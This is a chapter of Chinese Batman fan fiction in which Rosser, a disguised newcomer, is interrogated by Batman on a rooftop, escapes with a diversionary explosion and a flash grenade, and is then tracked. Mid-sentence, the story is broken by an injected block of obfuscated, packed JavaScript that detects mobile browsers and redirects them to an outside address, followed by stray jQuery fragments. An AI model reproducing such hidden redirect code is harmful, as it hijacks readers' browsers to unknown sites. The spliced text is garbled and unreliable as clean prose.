“……”


    洛瑟尔的喉结上下滚动了一下，他能感觉到冷汗顺着脊背滑下，浸湿了衬衫。


    蝙蝠侠就站在那里，近在咫尺，黑色的披风在哥谭夜晚的微风中轻轻摆动，像是活物一般。


    “我...我不明白你的意思，蝙蝠侠先生。”洛瑟尔强迫自己露出一个困惑的微笑，手指却悄悄摸向口袋里的电击器，“我可是有正规资格证书的金融分析师。”


    蝙蝠侠向前迈了一步，洛瑟尔不由自主地后退，脚跟碰到了天台边缘的一块松动砖石，七层楼的高度让他的胃部一阵紧缩。


    “哥谭大学金融系2009届毕业生名单上没有维克多·洛瑟尔这个名字。”蝙蝠侠的声音像砂纸般粗糙，“华尔街的HR数据库里也没有你的就职记录。”


    洛瑟尔眨了眨眼，嘴角勾起一抹玩味的笑：“哇哦，你还专门去查了我的学历？我是不是该感到荣幸？”他故意拖长了语调，“或者说……布鲁斯·韦恩先生？”


    空气瞬间凝固。蝙蝠侠的身形似乎变得更加庞大，阴影笼罩着洛瑟尔。有那么一瞬间，洛瑟尔以为自己玩过头了。


    “聪明的猜测。”蝙蝠侠的声音变得更加危险，“但不足以解释你是谁，以及为什么伪造身份接近法尔科内和韦恩企业。”


    洛瑟尔耸耸肩，装作漫不经心地调整着领带：“也许我只是个崇拜者？想亲眼见见哥谭的传奇？”他的目光扫过蝙蝠侠的装备腰带，注意到几个新添加的装置——那不在他记忆中的漫画设定里。


    “金融专家？崇拜者？想亲眼看看哥谭传奇？”蝙蝠侠的声音像是砂纸摩擦过粗粝的水泥，“那你要怎么解释你的手指上没有键盘茧，袖口却有长期使用狙击枪的压痕。”


    洛瑟尔下意识地收拢手指：“也许我更喜欢触屏呢？蝙蝠侠先生。”他故意拖长了那个称呼，舌尖轻抵上颚，像是在品尝这个名字的滋味。


    蝙蝠侠向前逼近一步，披风在哥谭潮湿的夜风中如活物般涌动：“最后一次机会。谁派你接近法尔科内？”


    洛瑟尔能闻到对方装备带上凯夫拉纤维混合着金属的气息。


    他的大脑飞速运转，计算着各种逃脱方案的成功率——正面冲突必败无疑，言语周旋才是他的专长。


    “我只是个生意人。”他耸耸肩，右手看似随意地插进西装口袋，“法尔科内先生出手大方，而韦恩企业的晚宴……”紫罗兰色的眼睛在月光下闪烁，“谁能拒绝亲眼见见哥谭王子的机会？”


    蝙蝠侠突然出手，速度快得让洛瑟尔根本来不及反应。一只戴着手套的手掐住了他的喉咙，力道刚好让他感到窒息却不会真正受伤。


    “最后一次机会。”蝙蝠侠凑近，白色护目镜后的眼睛似乎能看透一切谎言，“你是谁，为谁工作？”


    洛瑟尔的视野开始出现黑点，但他仍然挤出一个扭曲的笑容：“我……为……我自己……工作……”他艰难地说道，手指悄悄按下了口袋里的按钮。


    远处突然传来爆炸声，火光映红了半边天空。蝙蝠侠本能地转头望去，手上的力道松了一瞬。洛瑟尔抓住机会，从口袋里掏出电击器猛地按在蝙蝠侠的手臂上。


    高压电流噼啪作响，但蝙蝠侠只是轻微地抽搐了一下——他的制服显然有绝缘层。


    不过这一瞬间的干扰已经足够，洛瑟尔趁机挣脱钳制，踉跄着退向天台另一端。


    “不错的尝试。”蝙蝠侠甩了甩手臂，“但不够好。”


    洛瑟尔的瞳孔在蝙蝠侠的逼视下微微收缩，他能感觉到自己的脉搏在太阳穴突突跳动。七层楼的高度在身后张着大口，而哥谭的黑暗骑士在前方封锁了所有退路。


    蝙蝠侠突然出手，速度快得拉出残影


    洛瑟尔甚至没看清动作，就发现自己被按在了天台护栏上，半个身子悬在七层楼的高空。夜风掀起他的衣摆，冰冷的金属护栏抵着他的后腰。


    “你的心跳加速了0.3秒。”蝙蝠侠的声音近在耳畔，“当你说''亲眼见见''的时候。”


    洛瑟尔喉结滚动，却笑出声来：“被世界第一侦探按在楼顶边缘，换谁都会心跳加速吧？”他故意放松身体，表现出一种危险的顺从，“不过说真的，你的声音在近距离听起来比传说中更……性感。”


    比动漫里的配音好听太多。


    蝙蝠侠的钳制纹丝不动，但洛瑟尔敏锐地注意到对方白色护目镜下的眉头几不可察地皱了一下。就在这电光火石的瞬间——


    轰！


    港口方向突然爆发出震耳欲聋的爆炸声，橙红色的火球腾空而起，照亮了半个哥谭湾。蝙蝠侠本能地转头，手上的力道松了一瞬。


    洛瑟尔像条鳗鱼般扭身滑出桎梏，同时从口袋里掏出一个金属球砸向地面。刺眼的闪光和烟雾瞬间填满了整个天台空间！


    “咳咳...闪光弹？”蝙蝠侠的声音在烟雾中带着压抑的怒意。


    “改良版！”洛瑟尔的声音已经从五米开外传来，“加了点胡椒粉！”


    他借着烟雾掩护冲向消防梯，耳麦里传来卡伦急促的汇报：“老板，B计划已启动！三号码头仓库的氯.气罐果然吸引了所有人的注意——


    “少废话！”洛瑟尔纵身跃下消防梯，西装下摆在空中划出凌厉的弧线，“清除协议Alpha，立刻——呃！”


    肩膀上的剧痛让他闷哼出声，他侧头一看，熟悉的蝙蝠镖正插在他的肩膀上。


    卡伦:“出什么事了？”


    洛瑟尔舔了舔牙，一边跑一边将蝙蝠镖拔下来。鲜血浸透了他黑色的衬衣，手骨间染着鲜红的血，衬着他的手有些秾丽。


    他轻


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15417704|168880||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑一声，语气里带着些欢欣:“没什么，只是收到了一个有点疼的小礼物~”


    身后传来披风猎猎的声响——蝙蝠侠已经追来了。洛瑟尔嘴角勾起一抹疯狂的笑意，这才是他熟悉的哥谭节奏。


    “搞快点，再不快点，你老板就要成死老板了！”


    拐进一条窄巷，他猛地扯开早就准备好的配电箱，手指在复杂线路中精准地找到那根红色电线。


    当蝙蝠侠的黑影出现在巷口时，洛瑟尔优雅地打了个响指。


    整条巷子的路灯同时爆裂，玻璃碎片如雨般落下！在这片黑暗中，洛瑟尔翻过一道矮墙，钻进预先停好的黑色摩托。


    “轰——”


    引擎轰鸣着苏醒，他转头当着追到墙头的蝙蝠侠的面吻了一下沾满血的蝙蝠镖，咧嘴一笑:“下次约会记得提前预约！”


    摩托箭一般射向街道，后视镜里蝙蝠侠的身影迅速变小。洛瑟尔没有放松警惕，他知道哥谭的黑暗骑士从不轻易放弃猎物。


    果然，后视镜很快捕捉到一个黑色滑翔翼从楼宇间掠过。洛瑟尔啧了一声，猛地拧转车把冲进一条步行街，惊得几个流浪汉四散奔逃。


    “卡伦！干扰措施！”


    “已经在做了老板！”


    前方十字路口的交通灯突然全部变红，一辆满载海鲜的卡车急刹横在路中央。洛瑟尔的摩托几乎贴着卡车货厢擦过，而后方追来的滑翔翼不得不紧急拉升躲避。


    三分钟后，洛瑟尔将摩托开进一家汽车影院，熟练地换乘另一辆毫无特征的灰色轿车。


    他摘下酒红色领带，脱下风衣。从后备箱取出一件连帽衫套在衬衫外，最后戴上一副黑框眼镜。


    “所有监控记录都处理好了？”他对着耳麦问道，同时将车缓缓驶向出口。


    卡伦的声音带着得意：“当然！从法尔科内庄园到港口的所有摄像头，今晚7点到现在的记录全都替换完毕。连蝙蝠电脑也恢复不了！”


    洛瑟尔轻哼一声：“别太自信，那可是蝙蝠侠。”他瞥向后视镜，确认没有追踪者，“启动安全屋B，我要消失24小时。”


    挂断通讯，洛瑟尔终于长舒一口气。轿车无声地滑入哥谭夜色中，而在他上方的某座滴水兽雕像上，一个小小的追踪器正闪烁着微弱红光。


    蝙蝠侠站在韦恩塔楼顶，凝视着掌心接收器上移动的光点。阿尔弗雷德的声音从耳麦中传来：“看来您的新玩具派上用场了，老爷。”


    “不够。”蝙蝠侠收起接收器，披风在身后翻涌，“我要知道他的真实身份，阿尔弗雷德。那个爆炸时机太精准了。”


    “而您放他走也太刻意了。”老管家的声音带着了然，“需要我准备追踪小组吗？”


    蝙蝠侠望向哥谭湾尚未熄灭的火焰：“不，这次我亲自跟。”